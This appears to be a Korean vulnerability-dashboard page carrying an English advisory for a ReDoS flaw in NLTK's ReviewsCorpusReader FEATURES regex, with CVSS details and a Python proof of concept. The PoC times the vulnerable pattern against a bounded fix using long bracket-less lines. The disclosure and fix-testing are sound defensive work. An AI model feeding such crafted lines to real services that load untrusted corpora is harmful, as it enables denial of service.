Kestrel
대시보드로 돌아가기
CVE-2026-12061HIGH· 7.5GHSA대응게시일: 2026. 07. 31.수정일: 2026. 07. 31.

Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Summary

ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

Details

The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the n starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

PoC

python
1import multiprocessing as mp
2import re
3import time
4
5# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
6FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")
7
8# --- Bounded variant from the fix (PR #3583): cap the per-label word run.
9# A generous bound (real feature labels are short noun phrases) makes the
10# run linear while never affecting legitimate corpora. ---
11WORD_BOUND = 50
12FEATURES_FIXED = re.compile(
13 r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
14)
15
16TIMEOUT = 20.0 # seconds, per measurement
17SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line
18
19
20def _bad_line(n_words):
21 """A long line of plain words with NO trailing bracketed annotation."""
22 return ("word " * n_words).rstrip()
23
24
25def _worker(pattern_str, line, q):
26 pat = re.compile(pattern_str)
27 t0 = time.perf_counter()
28 pat.findall(line)
29 q.put(time.perf_counter() - t0)
30
31
32def timed_findall(pattern, line, timeout=TIMEOUT):
33 """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
34 q = mp.Queue()
35 p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
36 p.start()
37 p.join(timeout)
38 if p.is_alive():
39 p.terminate()
40 p.join()
41 return None
42 return q.get() if not q.empty() else None
43
44
45def bench(label, pattern):
46 print(f"\n[{label}] pattern: {pattern.pattern}")
47 print(f" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}")
48 prev = None
49 for n in SIZES:
50 line = _bad_line(n)
51 t = timed_findall(pattern, line)
52 if t is None:
53 print(f" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}")
54 prev = None
55 else:
56 ratio = f"{t/prev:.1f}x" if prev else "--"
57 print(f" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}")
58 prev = t
59
60
61def parity_check():
62 """The bound must NOT change extraction on a realistic annotated line."""
63 real = (
64 "the picture quality[+2] and battery life[+1] are great but "
65 "the lens cap[-1] feels cheap and the menu system[-2] is slow"
66 )
67 a = FEATURES_VULN.findall(real)
68 b = FEATURES_FIXED.findall(real)
69 print("\n[parity] realistic annotated line — extraction must be identical")
70 print(f" vulnerable regex -> {a}")
71 print(f" bounded regex -> {b}")
72 print(f" identical: {a == b}")
73 return a == b
74
75
76def main():
77 print("=" * 66)
78 print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
79 print("=" * 66)
80 print(f" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}")
81
82 bench("VULNERABLE reviews.py L70-71", FEATURES_VULN)
83 bench("BOUNDED fix #3583", FEATURES_FIXED)
84 same = parity_check()
85
86 print("\n" + "=" * 66)
87 print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS")
88 print(" Bounded: ~2x time per input doubling => O(n) linear, stays in ms")
89 print(f" Extraction parity on real annotations preserved: {same}")
90 print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
91 print("=" * 66)
92
93
94if __name__ == "__main__":
95 main()

Impact

Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.